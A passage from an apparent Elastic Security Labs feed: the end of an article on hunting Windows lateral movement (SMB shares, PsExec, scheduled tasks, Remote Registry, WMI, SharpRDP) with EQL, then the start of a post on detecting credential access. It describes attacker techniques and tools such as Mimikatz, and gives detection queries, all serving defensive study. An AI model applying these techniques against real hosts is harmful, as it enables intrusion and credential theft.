<p><em>Figure 2: Hunting EQL for file transfer via hidden file share from source machine</em></p>
<p>On the target machine, we’ve observed that all files copied via server message block (SMB) are represented by a file creation event by the virtual process System (always has a static <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-pid">process.pid</a> value equal to 4 and represents the Windows kernel code and loaded kernel mode drivers):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc3a5ae61ee8ffd5e/6a7d81595588ad5c8eee4306/3-file-creation-discover-view-blog-hunting-lateral-movement.jpg" alt="3-file-creation-discover-view-blog-hunting-lateral-movement.jpg" title="3-file-creation-discover-view-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 3: File creation event details depicted in Kibana’s Discover view as a result of file transfer over SMB</em></p>
<p>A file creation event alone is not enough (the System process may create files that are related to local activity) to conclude that this activity pertains to a Lateral Movement attempt. Thus, we need to correlate it with <em>incoming</em> SMB network events by the same process:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7ed2d76e89e836c1/6a7d815c63e9596f5173aeb8/4-hidden-file-share-blog-hunting-lateral-movement.jpg" alt="4-hidden-file-share-blog-hunting-lateral-movement.jpg" title="4-hidden-file-share-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 4: Hunting EQL for file transfer via hidden file share from target host</em></p>
<p>The above query looks for an incoming remote network event to tcp port 445 (SMB) followed by immediate file creation or modification (can be limited to executable file extension to reduce false positives) and both events are performed by the same (<a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id">process.entity_id</a>) virtual System process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt513ce81d0a968404/6a7d815fea068d17dcf0722d/5-lateral-tool-transfer-blog-hunting-lateral-movement.jpg" alt="5-lateral-tool-transfer-blog-hunting-lateral-movement.jpg" title="5-lateral-tool-transfer-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 5: Detection alert example for Lateral Tool Transfer from target host</em></p>
<p>The above alert contains details about the file that was copied as well as the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-source.html#field-source-ip">source.ip</a> address of the Lateral Movement activity. The same logic triggers on <a href="https://www.ired.team/offensive-security/lateral-movement/lateral-movement-with-psexec">PSExec</a>, a remote execution utility often abused by adversaries for the same purpose:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0321fd8e97ce8832/6a7d81613ce8e2043fcf268e/6-triggering-psexec-blog-hunting-lateral-movement.jpg" alt="6-triggering-psexec-blog-hunting-lateral-movement.jpg" title="6-triggering-psexec-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 6: Lateral Tool Transfer triggering on PSEXEC from target host</em></p>
<p>We can also leverage <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences">EQL correlation</a> to capture instances where a file that was copied via SMB is immediately executed:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt858861caa880b3db/6a7d8164c2cc090a9a24668e/7-execution-via-file-shares-blog-hunting-lateral-movement.jpg" alt="7-execution-via-file-shares-blog-hunting-lateral-movement.jpg" title="7-execution-via-file-shares-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 7: Hunting EQL for remote execution via file shares</em></p>
<p>The above EQL looks for a <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences">sequence</a> of events where a file is created/modified by the virtual System process followed by a process event where the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-executable">process.executable</a> is equal to the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-file.html#field-file-path">file.path</a>. Below is an alert example:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcd2b2d4266fdf096/6a7d81675967e53ca25da553/8-remote-execution-blog-hunting-lateral-movement.jpg" alt="8-remote-execution-blog-hunting-lateral-movement.jpg" title="8-remote-execution-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 8: Detection alert for remote execution via file shares from target host</em></p>
<p>Another example where file transfer over SMB can be abused for remote execution is copying a malicious executable, script, or shortcut to the <a href="https://attack.mitre.org/techniques/T1547/001/">Startup folder</a> of a target host. This will cause the program referenced to be automatically executed when a user logs in, and in the context of that user:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt14a5e92b56d75a5f/6a7d81691967ea2e7032d8b7/9-startup-folder-blog-hunting-lateral-movement.jpg" alt="9-startup-folder-blog-hunting-lateral-movement.jpg" title="9-startup-folder-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 9: Hunting EQL for Lateral Movement via startup folder</em></p>
<p>Below is an example of a detection alert for Lateral Movement via the <a href="https://attack.mitre.org/techniques/T1547/001/">Startup folder</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0d1cf657fd6c9d39/6a7d816c8fc2d092853eb8bb/10-detection-alert-blog-hunting-lateral-movement.jpg" alt="10-detection-alert-blog-hunting-lateral-movement.jpg" title="10-detection-alert-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 10: Detection alert for Lateral Movement via startup folder</em></p>
<h2 id="remotelyscheduledtasks"><strong>Remotely Scheduled Tasks</strong></h2>
<p>Adversaries may leverage scheduled tasks for remote execution — either via built-in system utilities such as schtasks.exe or directly via the <a href="https://docs.microsoft.com/en-us/windows/win32/api/_taskschd/">Task Scheduler API</a>, which may be stealthier because visibility is limited.</p>
<p>Below is an example of remote task creation via the <a href="https://github.com/mez-0/MoveScheduler">MoveScheduler</a> penetration testing tool:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1a550e84c6f77ba0/6a7d816f63e95928ad73aec0/11-movescheduler-blog-hunting-lateral-movement.jpg" alt="11-movescheduler-blog-hunting-lateral-movement.jpg" title="11-movescheduler-blog-hunting-lateral-movement.jpg" /></p>
<p>Figure 11: Lateral Movement via MoveScheduler</p>
<p>Both schtasks.exe and direct usage of a custom implementation will cause a process to load the Task Scheduler COM API (taskschd.dll), followed by an outbound network connection where both the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-source.html#field-source-ip">source.port</a> and the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-destination.html#field-destination-port">destination.port</a> are equal or greater than RPC dynamic ports (49152 to 65535) and from the same <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id">process.entity_id</a>, which can be translated to this <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">EQL</a> query:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdc5ffbc37ad0b9ab/6a7d81723cab1c1a2b0e1a08/12-outbound-task-blog-hunting-lateral-movement.png" alt="12-outbound-task-blog-hunting-lateral-movement.png" title="12-outbound-task-blog-hunting-lateral-movement.png" /></p>
<p><em>Figure 12: Hunting EQL query for outbound task scheduler activity on source host</em></p>
<p>Of course, matches to this query can be related to scheduled tasks discovery as well. Below is an example of an alert where we can observe the username, source, and destination IP, as well as the process name used to perform a remote task activity:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt40159139bcca4f85/6a7d8175ead8ec7541ba7b46/13-detection-alert-lateral-movement-blog-hunting-lateral-movement.jpg" alt="13-detection-alert-lateral-movement-blog-hunting-lateral-movement.jpg" title="13-detection-alert-lateral-movement-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 13: Detection alert for Lateral Movement via Scheduled Task on source host</em></p>
<p>On the <em>target</em> host, we can hunt for remote scheduled task creation/modification via two options:</p>
<ol>
<li>Incoming <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15">DCE/RPC</a> (over TCP/IP) network event by the Task Scheduler service (svchost.exe) followed by a file creation of a task XML configuration file (C:\Windows\System32\Tasks\task_filename)</li>
<li>Incoming <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15">DCE/RPC</a> (over TCP/IP) network event by the Task Scheduler service (svchost.exe) followed by a registry change of a task cache Action value (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}\Actions)</li>
</ol>
<p>Option A provides us with the task name (equal to the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-file.html#field-file-name">file.name</a> of the changed/created file), and Option B provides us with the task action itself (equal to the base64 decoded data of the Action registry value where the task scheduler service caches the task action configuration):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt25e7071fb1d264a1/6a7d817851156a43ec2bf88b/14-task-creation-blog-hunting-lateral-movement.jpg" alt="14-task-creation-blog-hunting-lateral-movement.jpg" title="14-task-creation-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 14: Hunting EQL query for task creation on target host (Option A)</em></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt59f8aaa803f50d54/6a7d817ae3a219a92b99c71e/15-hunting-eql-blog-hunting-lateral-movement.jpg" alt="15-hunting-eql-blog-hunting-lateral-movement.jpg" title="15-hunting-eql-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 15: Hunting EQL query for task creation on target host (Option B)</em></p>
<p>Option B has the advantage of providing details about the task action, which tend to be useful while triaging (set to execute a program from a <a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">suspicious path</a>, <a href="https://lolbas-project.github.io/">LOLBAS</a> process, etc.).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt77ceea2ac7b45329/6a7d817d6c6eac1350f11360/16-detection-alert-blog-hunting-lateral-movement.jpg" alt="16-detection-alert-blog-hunting-lateral-movement.jpg" title="16-detection-alert-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 16: Detection alert for Lateral Movement via Scheduled Task on target host</em></p>
<p>Decoding the registry Action base64 encoded data provides us details about the created task action:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf38f35f47a9de110/6a7d818033fa8a5e3e1ff987/17-base64-blog-hunting-lateral-movement.png" alt="17-base64-blog-hunting-lateral-movement.png" title="17-base64-blog-hunting-lateral-movement.png" /></p>
<p><em>Figure 17: Base64 decoded data of the scheduled task action registry value</em></p>
<h2 id="remoteregistry"><strong>Remote Registry</strong></h2>
<p>Adversaries may leverage the Remote Registry service for defense evasion or remote execution. One simple scenario is to modify the Run key registry on a remote system to cause the execution of a program upon system startup or user logon:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1e6a6ab8640be6ed/6a7d8182bdcff022b6c40070/18-remote-modification-blog-hunting-lateral-movement.jpg" alt="18-remote-modification-blog-hunting-lateral-movement.jpg" title="18-remote-modification-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 18: Remote modification of the Run registry key via reg utility</em></p>
<p>We can hunt for this behavior from the source machine by looking for the execution of reg.exe with process.args containing \*, but the same action can be achieved via API calls avoiding <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-command-line">process .command_line</a>-based detections.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7c9177631f071ce/6a7d818573d9bd738329ac15/19-reg-exe-blog-hunting-lateral-movement.jpg" alt="19-reg-exe-blog-hunting-lateral-movement.jpg" title="19-reg-exe-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 19: Example of Reg.exe process execution event on source host</em></p>
<p>Note that Reg.exe is not performing any network connection — instead, it’s the virtual System process that issues an outbound network connection to the target host on port 445 (<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15">DCE/RPC</a> over SMB).</p>
<p>On the target host we can see the following sequence of key events:</p>
<ol>
<li>Incoming network connection on tcp port 445 (<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15">DCE/RPC</a> over SMB) by the virtual System process (<a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-pid">process.pid</a> equal 4)</li>
<li>RemoteRegistry service process starts (svchost.exe with <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-args">process.args</a> containing the string RemoteRegistry)</li>
<li>RemoteRegistry service process performs the registry change</li>
</ol>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7cc6d2ad8b498175/6a7d8188ead8ec12d7ba7b4a/20-remote-registry-blog-hunting-lateral-movement.jpg" alt="20-remote-registry-blog-hunting-lateral-movement.jpg" title="20-remote-registry-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 20: Remote Registry-relevant events on target host</em></p>
<p>The following <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">EQL</a> hunt can be used to correlate (2) and (3) by <a href="https://www.elastic.co/guide/en/ecs/current/ecs-host.html#field-host-id">host.id</a> and <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id">process.entity_id</a> of the Remote Registry service:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta6d8c8af685bca79/6a7d818b42a1171fc3959133/21-remote-registry-blog-hunting-lateral-movement.png" alt="21-remote-registry-blog-hunting-lateral-movement.png" title="21-remote-registry-blog-hunting-lateral-movement.png" /></p>
<p><em>Figure 21: Hunting EQL to detect Remote Registry modification via Regsvc on target host</em></p>
<p>If we include (1) in the above <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences">sequence</a> to capture the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-source.html#field-source-ip">source.ip</a> address, it may trigger on unrelated incoming SMB connections as the only common element between the three events limited to the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-host.html#field-host-id">host.id</a> value.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf8a9b4288c2c80a5/6a7d818e227b1c036c59580a/22-regsvc-blog-hunting-lateral-movement.jpg" alt="22-regsvc-blog-hunting-lateral-movement.jpg" title="22-regsvc-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 22: Detection alert for Remote Registry modification via Regsvc on target host</em></p>
<p>Adversaries may attempt to achieve the same outcome via the Windows Management Instrumentation (WMI) registry provider (<a href="https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/stdregprov">StdReg</a>), which behaves differently:</p>
<ol>
<li>WMI Service (svchost.exe with <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-args">process.args</a> containing Winmgmt string) accepts an incoming <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15">DCE/RPC</a> (over TCP/IP) network connection where both <a href="https://www.elastic.co/guide/en/ecs/current/ecs-source.html#field-source-ip">source.port</a> and the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-destination.html#field-destination-port">destination.port</a> are greater than or equal to RPC dynamic ports ( 49152 to 65535)</li>
<li>A new instance of the WMI Provider Host (process.name equal to WmiPrvSe.exe with <a href="https://www.elastic.co/guide/en/ecs/current/ecs-user.html#field-user-name">user.name</a> equal to Local Service or <a href="https://www.elastic.co/guide/en/ecs/current/ecs-user.html#field-user-id">user.id</a> equal to S-1-5-19) is started</li>
<li>The started WMI Provider Host loads the registry provider StdProv.dll module</li>
<li>The WMI Provider Host performs the registry change</li>
</ol>
<p>We can express the correlation of (1), (2) and (4) with the following hunting <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">EQL</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltab0cdcaf3b21a71b/6a7d8191de2315df69fd4e48/23-hunting-eql-blog-hunting-lateral-movement.png" alt="23-hunting-eql-blog-hunting-lateral-movement.png" title="23-hunting-eql-blog-hunting-lateral-movement.png" /></p>
<p><em>Figure 23: Hunting EQL for Remote Registry modification via Regsvc on target host</em></p>
<p>If logging of the StdProv.dll module loading is enabled, we can also add (3) to the <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences">sequence</a> to reduce potential false positives:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt861f200c5ea9373b/6a7d8193448e4ead965bdb3e/24-hunting-eql-blog-hunting-lateral-movement.png" alt="24-hunting-eql-blog-hunting-lateral-movement.png" title="24-hunting-eql-blog-hunting-lateral-movement.png" /></p>
<p><em>Figure 24: Hunting EQL for Remote Registry modification via Regsvc on target host (library event)</em></p>
<p>Below an example of a detection alert where we can see the remotely modified registry details and the remote <a href="https://www.elastic.co/guide/en/ecs/current/ecs-source.html#field-source-ip">source.ip</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd3a904d3060f498f/6a7d81962f00b22d42efbf01/25-remote-registry-blog-hunting-lateral-movement.jpg" alt="25-remote-registry-blog-hunting-lateral-movement.jpg" title="25-remote-registry-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 25: Detection alert for Remote Registry modification via the WMI on target host</em></p>
<h2 id="sharpremotedesktop"><strong>Sharp Remote Desktop</strong></h2>
<p><a href="https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3">SharpRDP</a> is a Lateral Movement tool that leverages the Remote Desktop Protocol (RDP) for authenticated command execution and without the need for graphical interaction.</p>
<p>Once authenticated, SharpRDP sends <a href="https://docs.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes">virtual keystrokes</a> to the remote system via a method called <a href="https://docs.microsoft.com/en-us/windows/win32/termserv/imsrdpclientnonscriptable-sendkeys">SendKeys</a> to open up a <a href="https://www.groovypost.com/howto/howto/use-windows-key-r-run-as-administrator/">Run dialog</a> on the target host and then enter a specified command, which will be executed on the target host.</p>
<p>The main indicator from the source host is an unusual process (hosting SharpRDP code) loading the Remote Desktop Services ActiveX Client that implements RDP client functionality (MsTscAx.dll) followed by an outbound network connection to RDP tcp port 3389 and both events from the same <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id">process.entity_id</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6cb236de48141143/6a7d81996c6eac6821f11364/26-suspicious-rdp-client-blog-hunting-lateral-movement.jpg" alt="26-suspicious-rdp-client-blog-hunting-lateral-movement.jpg" title="26-suspicious-rdp-client-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 26: Hunting EQL for suspicious RDP Client</em></p>
<p>Below an example of results matching our hunting EQL where we can see an unusual process (other than mstsc.exe and similar known RDP clients) loading the Remote Desktop Services ActiveX Client (MsTscAx.dll) as well as the outbound network connection:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7af212e1ba513cb4/6a7d819ce02fac3e505d3526/27-results-example-blog-hunting-lateral-movement.jpg" alt="27-results-example-blog-hunting-lateral-movement.jpg" title="27-results-example-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 27: Results example for suspicious RDP Client EQL hunt</em></p>
<p>On the target host, the following key events occur within a one-minute time window:</p>
<ol>
<li>An incoming network connection is accepted by the RDP service (TermService svchost.exe) on port 3389</li>
<li>Under the <a href="https://resources.infosecinstitute.com/topics/digital-forensics/understanding-critical-windows-artifacts-and-their-relevance-during-investigation-part-2/">RunMRU</a> registry key, a new (or update to an existing) string value is set to cmd, powershell, taskmgr or tsclient (depending on the chosen SharpRDP <a href="https://github.com/0xthirteen/SharpRDP">execution method</a>), which is caused by the typed command in the <a href="https://www.groovypost.com/howto/howto/use-windows-key-r-run-as-administrator/">Run dialog</a> via the <a href="https://docs.microsoft.com/en-us/windows/win32/termserv/imsrdpclientnonscriptable-sendkeys">SendKeys</a> method</li>
<li>Depending on the execution <a href="https://github.com/0xthirteen/SharpRDP">method</a>, a new process (attacker command) is created with <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html">process.parent.name</a> of cmd.exe, powershell.exe, taskmgr.exe, or a random executable running from the <a href="https://www.virtualizationhowto.com/2016/07/map-network-drive-remote-desktop-local-computer/">tsclient</a> mountpoint (shared drive from the RDP client host with the RDP target server)</li>
</ol>
<p>For (2), note that when running anything from the <a href="https://www.groovypost.com/howto/howto/use-windows-key-r-run-as-administrator/">Run dialog</a>, a registry entry will be created at HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU showing what was entered into the <a href="https://www.groovypost.com/howto/howto/use-windows-key-r-run-as-administrator/">Run dialog</a> box.</p>
<p>The above <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences">sequence</a> of events can be expressed with the following <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">EQL</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt81ef476e57c6c90d/6a7d819f1967ea14ef32d8bd/28-sharprdp-blog-hunting-lateral-movement.jpg" alt="28-sharprdp-blog-hunting-lateral-movement.jpg" title="28-sharprdp-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 28: Hunting EQL for SharpRDP behavior on the target host</em></p>
<p>Example of a detection alert and its composing event details on the target host:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt99ea79f466c460ce/6a7d81a1e3a2195ccd99c722/29-detection-alert-blog-hunting-lateral-movement.jpg" alt="29-detection-alert-blog-hunting-lateral-movement.jpg" title="29-detection-alert-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 29: Detection alert for SharpRDP on target host (TermService network connection)</em></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt21c69371ba847ad2/6a7d81a4b43770e3e34d3f81/30-target-host-blog-hunting-lateral-movement.jpg" alt="30-target-host-blog-hunting-lateral-movement.jpg" title="30-target-host-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 30: Detection alert for SharpRDP on target host (RunMRU set to Powershell)</em></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltacffe25a48a782a3/6a7d81a7437e0f5d77dd85de/31-powershell-child-process-blog-hunting-lateral-movement.jpg" alt="31-powershell-child-process-blog-hunting-lateral-movement.jpg" title="31-powershell-child-process-blog-hunting-lateral-movement.jpg" /></p>
<p><em>Figure 31: Detection alert for SharpRDP on target host (PowerShell child process)</em></p>
<h2 id="wrappingup"><strong>Wrapping up</strong></h2>
<p><a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">Event Query Language (EQL)</a> correlation capabilities enable us to capture complex behavior for a variety of Lateral Movement techniques. The high-level steps are:</p>
<ol>
<li><strong>Understand the theory</strong> and the building blocks of a certain technique (network protocols, loaded modules, services, process names, and arguments)</li>
<li><strong>Identify the key events</strong> and their order that compose a certain behavior (both source and target host)</li>
<li><strong>Identify the common values</strong> that can be used for correlation (<a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences">sequences</a>) — identifying more commonalities can reduce false positives</li>
<li><strong>Identify enrichment possibilities</strong> , such as extra events in the sequence that can be useful during alert triage</li>
<li><strong>Assess the window of time</strong> for correlation — using a shorter time window (for example, 30 seconds instead of 1 second) can reduce false positives, but can also introduce false negatives caused by network latency or slow system</li>
<li><strong>Test using different methods and tools</strong> and tune the hunting logic accordingly, or, in some instances, duplicate logic to capture edge cases</li>
</ol>
<p>Some of the <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/eql.html">EQL</a> detection rules used as examples can be found in the <a href="https://github.com/elastic/detection-rules">Elastic detection-rules</a>repository:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_remote_file_copy_hidden_share.toml">Remote File Copy to a Hidden Share</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_executable_tool_transfer_smb.toml">Lateral Tool Transfer</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_execution_via_file_shares_sequence.toml">Remote Execution via File Shares</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_via_startup_folder_rdp_smb.toml">Lateral Movement via Startup Folder</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_scheduled_task_powershell_source.toml">Outbound Scheduled Task Activity via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_scheduled_task_target.toml">Remote Scheduled Task Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_rdp_sharprdp_target.toml">Potential SharpRDP Behavior</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_suspicious_rdp_client_imageload.toml">Suspicious RDP ActiveX Client Loaded</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_execution_from_tsclient_mup.toml">Execution via TSClient Mountpoint</a></li>
</ul>
<p>If you’re new to <a href="https://www.elastic.co/security">Elastic Security</a>, you can experience our latest version on <a href="https://www.elastic.co/elasticsearch/service">Elasticsearch Service</a> on Elastic Cloud.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-for-lateral-movement-using-event-query-language</link>
    <guid isPermaLink="false">hunting-for-lateral-movement-using-event-query-language</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Samir Bousseaden]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcdb48e4f139e27b4/6a7d81aa96b5a67ec2878657/blog-thumb-security-honeycomb.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Detect Credential Access with Elastic Security]]></title>
    <description><![CDATA[Elastic Endpoint Security provides events that enable defenders with visibility on techniques and procedures which are commonly leveraged to access sensitive files and registry objects.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a> consists of techniques for stealing credentials like cookies, API keys, and passwords. It is one of the top critical tactics that is almost guaranteed to occur during an attack lifecycle, ranging from phishing to infostealer malware to more complicated post-exploitation techniques. Therefore, covering it from different angles increases opportunities for early detection and prevention. <a href="https://www.elastic.co/endpoint-security/">Elastic Endpoint Security</a> 7.15 added new <a href="https://www.elastic.co/guide/en/ecs/current/ecs-file.html#field-file-path">file</a>and <a href="https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-registry">registry</a> events to provide defenders with better visibility on techniques and procedures involving some form of sensitive files and/or registry objects access:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1555/003/">T1555.003 Credentials from Web Browsers</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/002/">T1003.002 Security Account Manager</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/004/">T1003.004 LSA Secrets</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/005/">T1003.005 Cached Domain Credentials</a></li>
<li><a href="https://attack.mitre.org/techniques/T1552/001/">T1552.001 Credential in Files</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/004/">T1555.004 Windows Credential Manager</a></li>
</ul>
<h2 id="huntingforcredentialaccess">Hunting for Credential Access</h2>
<p>With the <a href="https://www.elastic.co/guide/en/security/current/install-endpoint.html">Endpoint security integration</a> enabled, you can explore those new events using generic <a href="https://www.elastic.co/guide/en/kibana/current/kuery-query.html">KQL</a> or <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql.html">EQL</a> queries:</p>
<p><strong>KQL and EQL queries to view file and registry events.</strong></p>
<pre><code>// EQL via Security -&gt; Timelines -&gt; New -&gt; Correlation
any where event.category in ("file", "registry")
  and event.action in ("query", "open")

// KQL via Discover
event.category : ("file" or "registry")
  and event.action : ("open" or "query")
</code></pre>
<p>Below, you can see an example of file events logged as a result of running two known security assessment tools: <a href="https://github.com/AlessandroZ/LaZagne">Lazagne</a> and <a href="https://github.com/GhostPack/Seatbelt">Seatbelt</a>. These tools include checks for a multitude of credentials and interesting files used in common software:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5868dddb4b00d89f/6a7d7ea173d9bd991c29ab60/kql-identifying.jpg" alt="KQL query identifying Lazagne and Seatbelt" title="KQL query identifying Lazagne and Seatbelt" /></p>
<p>Here are some example registry events logged as a result of running <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> (lsadump::sam, cache, lsa, and secrets submodules) and Seatbelt (PuttyHostKeys SSH enumeration):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d27da010718e58c/6a7d7ea373d9bd145e29ab64/kql-mimikatz.jpg" alt="KQL query identifying Mimikatz and Seatbelt" title="KQL query identifying Mimikatz and Seatbelt" /></p>
<p>Leveraging EQL’s <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-sequences">correlation</a> capabilities to link those new events with other event categories (such as <a href="https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-process">process</a>, registry, <a href="https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-network">network</a>, and/or</p>
